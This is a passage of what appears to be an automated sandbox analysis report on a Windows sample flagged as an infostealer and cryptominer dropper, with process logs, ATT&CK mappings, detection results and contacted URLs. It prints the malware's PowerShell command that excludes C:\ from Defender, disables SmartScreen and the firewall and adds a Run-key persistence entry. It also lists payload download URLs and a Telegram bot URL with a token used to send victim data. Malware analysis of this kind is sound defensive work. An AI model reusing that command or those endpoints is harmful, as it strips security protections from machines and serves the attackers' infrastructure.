              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00114~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\netsh.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\netsh.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\Microsoft.PowerShell.PSReadline.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
              Source: C:\Windows\System32\netsh.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\netsh.exeQueries volume information: C:\ VolumeInformation
              Source: C:\ProgramData\MicrosoftNetwork\System.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140019460 GetSystemTimeAsFileTime,35_2_0000000140019460
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140026784 _lock,___lc_codepage_func,free,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,35_2_0000000140026784
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400850DC GetUserNameW,35_2_00000001400850DC
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140012EB0 GetVersionExW,GetCurrentProcess,GetSystemInfo,FreeLibrary,GetSystemInfo,35_2_0000000140012EB0

              Lowering of HIPS / PFW / Operating System Security Settings

              barindex
              Uses netsh to modify the Windows network and firewall settings
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
              Modifies the windows firewall
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
              Source: 2dOeahdsto.exe, 00000000.00000003.395302331.000001C7BB78C000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.531526075.000001C7BB7F7000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.609507734.000001C7BB752000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tcpview.exe
              Source: 2dOeahdsto.exe, 00000000.00000003.395302331.000001C7BB78C000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.531526075.000001C7BB7F7000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.609507734.000001C7BB752000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: procexp.exe
              Source: UpSys.exe, 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance1, 0, 0, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonewstrbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoublehwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32PowerRun:v1.5%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
              Source: UpSys.exeBinary or memory string: WIN_XP
              Source: UpSys.exeBinary or memory string: WIN_XPe
              Source: UpSys.exeBinary or memory string: WIN_VISTA
              Source: UpSys.exeBinary or memory string: WIN_7
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140088520 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,35_2_0000000140088520
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014008FAD0 OleInitialize,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,35_2_000000014008FAD0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140076D20 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,35_2_0000000140076D20

              Mitre Att&ck Matrix

              Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
              2
              Valid Accounts              		1
              Windows Management Instrumentation              		2
              Valid Accounts              		1
              Exploitation for Privilege Escalation              		32
              Disable or Modify Tools              		11
              Input Capture              		2
              System Time Discovery              		Remote Services1
              Archive Collected Data              		Exfiltration Over Other Network Medium1
              Web Service              		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
              System Shutdown/Reboot
              Default Accounts1
              Native API              		1
              Windows Service              		2
              Valid Accounts              		1
              Deobfuscate/Decode Files or Information              		LSASS Memory1
              Account Discovery              		Remote Desktop Protocol11
              Input Capture              		Exfiltration Over Bluetooth13
              Ingress Tool Transfer              		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
              Domain Accounts12
              Command and Scripting Interpreter              		2
              Registry Run Keys / Startup Folder              		21
              Access Token Manipulation              		2
              Obfuscated Files or Information              		Security Account Manager3
              File and Directory Discovery              		SMB/Windows Admin Shares2
              Clipboard Data              		Automated Exfiltration11
              Encrypted Channel              		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
              Local AccountsAt (Windows)Logon Script (Mac)1
              Windows Service              		1
              File Deletion              		NTDS27
              System Information Discovery              		Distributed Component Object ModelInput CaptureScheduled Transfer3
              Non-Application Layer Protocol              		SIM Card SwapCarrier Billing Fraud
              Cloud AccountsCronNetwork Logon Script12
              Process Injection              		111
              Masquerading              		LSA Secrets1
              Query Registry              		SSHKeyloggingData Transfer Size Limits24
              Application Layer Protocol              		Manipulate Device CommunicationManipulate App Store Rankings or Ratings
              Replication Through Removable MediaLaunchdRc.common2
              Registry Run Keys / Startup Folder              		2
              Valid Accounts              		Cached Domain Credentials241
              Security Software Discovery              		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
              External Remote ServicesScheduled TaskStartup ItemsStartup Items141
              Virtualization/Sandbox Evasion              		DCSync141
              Virtualization/Sandbox Evasion              		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
              Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job21
              Access Token Manipulation              		Proc Filesystem3
              Process Discovery              		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
              Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)12
              Process Injection              		/etc/passwd and /etc/shadow11
              Application Window Discovery              		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
              Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Invalid Code SignatureNetwork Sniffing1
              System Owner/User Discovery              		Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact
              Compromise Software Dependencies and Development ToolsWindows Command ShellCronCronRight-to-Left OverrideInput Capture1
              Remote System Discovery              		Replication Through Removable MediaRemote Data StagingExfiltration Over Physical MediumMail ProtocolsService Stop
              Compromise Software Supply ChainUnix ShellLaunchdLaunchdRename System UtilitiesKeylogging1
              System Network Configuration Discovery              		Component Object Model and Distributed COMScreen CaptureExfiltration over USBDNSInhibit System Recovery

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 signatures2 2 Behavior Graph ID: 671812 Sample: 2dOeahdsto Startdate: 22/07/2022 Architecture: WINDOWS Score: 100 100 Malicious sample detected (through community Yara rule) 2->100 102 Multi AV Scanner detection for dropped file 2->102 104 Multi AV Scanner detection for submitted file 2->104 106 4 other signatures 2->106 11 2dOeahdsto.exe 44 2->11         started        16 System.exe 21 2->16         started        process3 dnsIp4 88 api.telegram.org 149.154.167.220, 443, 49762, 49771 TELEGRAMRU United Kingdom 11->88 90 a0694063.xsph.ru 141.8.192.169, 49764, 80 SPRINTHOSTRU Russian Federation 11->90 98 2 other IPs or domains 11->98 78 C:\ProgramData\UpSys.exe, PE32+ 11->78 dropped 80 C:\ProgramData\Systemd\Database.exe, PE32+ 11->80 dropped 82 C:\ProgramData\MicrosoftNetwork\System.exe, PE32+ 11->82 dropped 86 2 other files (1 malicious) 11->86 dropped 120 May check the online IP address of the machine 11->120 122 Modifies the windows firewall 11->122 124 Adds a directory exclusion to Windows Defender 11->124 18 Database.exe 11->18         started        21 powershell.exe 30 11->21         started        23 Database.exe 11->23         started        31 27 other processes 11->31 92 3.220.57.224, 443, 49770 AMAZON-AESUS United States 16->92 94 192.168.2.1 unknown unknown 16->94 96 api.ipify.org 16->96 84 C:\ProgramData\Systemd\old.exe (copy), PE32+ 16->84 dropped 126 Multi AV Scanner detection for dropped file 16->126 128 Machine Learning detection for dropped file 16->128 25 powershell.exe 16->25         started        27 cmd.exe 16->27         started        29 cmd.exe 16->29         started        33 20 other processes 16->33 file5 signatures6 process7 signatures8 108 Antivirus detection for dropped file 18->108 110 Multi AV Scanner detection for dropped file 18->110 112 Machine Learning detection for dropped file 18->112 114 Uses netsh to modify the Windows network and firewall settings 21->114 35 UpSys.exe 21->35         started        43 2 other processes 21->43 116 Query firmware table information (likely to detect VMs) 23->116 45 3 other processes 25->45 37 taskkill.exe 27->37         started        39 conhost.exe 27->39         started        47 2 other processes 29->47 41 conhost.exe 31->41         started        49 33 other processes 31->49 51 22 other processes 33->51 process9 process10 53 UpSys.exe 35->53         started        55 conhost.exe 37->55         started        57 taskkill.exe 37->57         started        59 taskkill.exe 41->59         started        61 conhost.exe 41->61         started        63 UpSys.exe 45->63         started        process11 65 UpSys.exe 53->65         started        67 conhost.exe 59->67         started        69 taskkill.exe 59->69         started        71 UpSys.exe 63->71         started        process12 73 powershell.exe 65->73         started        signatures13 118 Creates files in the system32 config directory 73->118 76 conhost.exe 73->76         started        process14

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              2dOeahdsto.exe73%VirustotalBrowse
              2dOeahdsto.exe26%MetadefenderBrowse
              2dOeahdsto.exe69%ReversingLabsWin64.Infostealer.Dridex
              2dOeahdsto.exe100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\ProgramData\Systemd\Database.exe100%AviraHEUR/AGEN.1203240
              C:\ProgramData\MicrosoftNetwork\System.exe100%Joe Sandbox ML
              C:\ProgramData\Systemd\Database.exe100%Joe Sandbox ML
              C:\ProgramData\MicrosoftNetwork\System.exe73%VirustotalBrowse
              C:\ProgramData\MicrosoftNetwork\System.exe26%MetadefenderBrowse
              C:\ProgramData\MicrosoftNetwork\System.exe69%ReversingLabsWin64.Infostealer.Dridex
              C:\ProgramData\Systemd\Database.exe71%VirustotalBrowse
              C:\ProgramData\Systemd\Database.exe31%MetadefenderBrowse
              C:\ProgramData\Systemd\Database.exe69%ReversingLabsWin64.Trojan.Miner
              C:\ProgramData\Systemd\old.exe (copy)71%VirustotalBrowse
              C:\ProgramData\Systemd\old.exe (copy)31%MetadefenderBrowse
              C:\ProgramData\Systemd\old.exe (copy)69%ReversingLabsWin64.Trojan.Miner
              C:\ProgramData\UpSys.exe4%VirustotalBrowse
              C:\ProgramData\UpSys.exe0%MetadefenderBrowse
              C:\ProgramData\UpSys.exe0%ReversingLabs
              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\UpSys[1].exe4%VirustotalBrowse
              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\UpSys[1].exe0%MetadefenderBrowse
              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\UpSys[1].exe0%ReversingLabs

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              SourceDetectionScannerLabelLink
              api.ipify.org.herokudns.com0%VirustotalBrowse

              URLs

              SourceDetectionScannerLabelLink
              https://contoso.com/License0%URL Reputationsafe
              http://crl.osofts/Microt00%URL Reputationsafe
              https://contoso.com/0%URL Reputationsafe
              https://go.microsoft.c0%URL Reputationsafe
              http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
              https://xmrig.com/wizard%s0%URL Reputationsafe
              https://contoso.com/Icon0%URL Reputationsafe
              https://xmrig.com/wizard0%URL Reputationsafe
              https://xmrig.com/docs/algorithms0%URL Reputationsafe
              https://xmrig.com/benchmark/%s0%URL Reputationsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              api.ipify.org.herokudns.com
              		3.232.242.170
              		truefalseunknown
              a0694063.xsph.ru
              		141.8.192.169
              		truefalse
                		high
                api.telegram.org
                		149.154.167.220
                		truefalse
                  		high
                  api.ipify.org
                  		unknown
                  		unknownfalse
                    		high

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    http://a0694063.xsph.ru/CPU.zipfalse
                      		high
                      https://api.telegram.org/bot5468819057:AAHRJabfvGnrMiNkuZj9RaE8-OjfRBxOw-4/sendMessage?chat_id=547765995&text=New%20User:%20887849%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20%0AIP:%2084.17.52.2false
                        		high
                        http://a0694063.xsph.ru/UpSys.exefalse
                          		high
                          https://api.ipify.org/false
                            		high

                            URLs from Memory and Binaries

                            NameSourceMaliciousAntivirus DetectionReputation
                            http://a0694063.xsph.ru/CPU.zip5SSystem.exe, 00000007.00000000.622182198.00000128868E8000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              http://a0694063.xsph.ru/UpSys.exe?_2dOeahdsto.exe, 00000000.00000000.609010503.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429467680.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://a0694063.xsph.ru/xe_j2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://api.telegram.org/bot2dOeahdsto.exe, 00000000.00000003.390872045.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.389868570.000001C7BB790000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.350930458.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.617239864.00007FF6F6719000.00000002.00000001.01000000.00000003.sdmp, 2dOeahdsto.exe, 00000000.00000003.382232681.000001C7BB78B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.624188382.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmp, System.exe, 00000007.00000000.397319430.00007FF6B0969000.00000002.00000001.01000000.0000000A.sdmpfalse
                                    		high
                                    https://contoso.com/Licensepowershell.exe, 00000004.00000002.642889526.0000026068083000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://a0694063.xsph.ru/CPU.ziperSystem.exe, 00000007.00000000.622182198.00000128868E8000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      http://crl.osofts/Microt0powershell.exe, 00000018.00000003.558182196.00000265CC0F9000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://a0694063.xsph.ru/CPU.zipZone.Identifier2dOeahdsto.exe, 00000000.00000000.603971881.000001C7BB65B000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        http://a0694063.xsph.ru/2dOeahdsto.exe, 00000000.00000003.429467680.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.612338983.000001C7BB7C1000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.622946464.0000012886934000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          http://a0694063.xsph.ru/CPU.zipTTC:2dOeahdsto.exe, 00000000.00000003.482310024.000001C7BB7E3000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.481675617.000001C7BB7C0000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.477688524.000001C7BB7C0000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.612138921.000001C7BB7B6000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.618327074.00000128867FB000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            http://a0694063.xsph.ru/CPU.zip%2dOeahdsto.exe, 00000000.00000000.615527115.000001C7BB835000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              http://a0694063.xsph.ru/CPU.zip5DSystem.exe, 00000007.00000000.622182198.00000128868E8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                http://a0694063.xsph.ru/CPU.zipws2dOeahdsto.exe, 00000000.00000000.610345788.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://a0694063.xsph.ru/CPU.zipC:2dOeahdsto.exe, 00000000.00000003.481675617.000001C7BB7C0000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.477688524.000001C7BB7C0000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.609507734.000001C7BB752000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.488412290.000001C7BB7C0000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.612338983.000001C7BB7C1000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.622946464.0000012886934000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://a0694063.xsph.ru/CPU.zipm322dOeahdsto.exe, 00000000.00000003.429875829.000001C7BB77A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://a0694063.xsph.ru/CPU.zipCM62dOeahdsto.exe, 00000000.00000003.429735272.000001C7BB752000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://a0694063.xsph.ru/s2dOeahdsto.exe, 00000000.00000003.429467680.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://api.ipify.org/WSystem.exe, 00000007.00000003.404759080.00000128868D1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://api.telegram.org/2dOeahdsto.exe, 00000000.00000000.609010503.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.357447815.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.429467680.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.365830475.000001C7BB72B000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.621594303.00000128868BF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://api.telegram.org/bot5468819057:AAHRJabfvGnrMiNkuZj9RaE8-OjfRBxOw-4/sendMessage?chat_id=54776System.exe, 00000007.00000000.618327074.00000128867FB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://contoso.com/powershell.exe, 00000004.00000002.642889526.0000026068083000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                		unknown
                                                                https://nuget.org/nuget.exepowershell.exe, 00000004.00000002.642889526.0000026068083000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
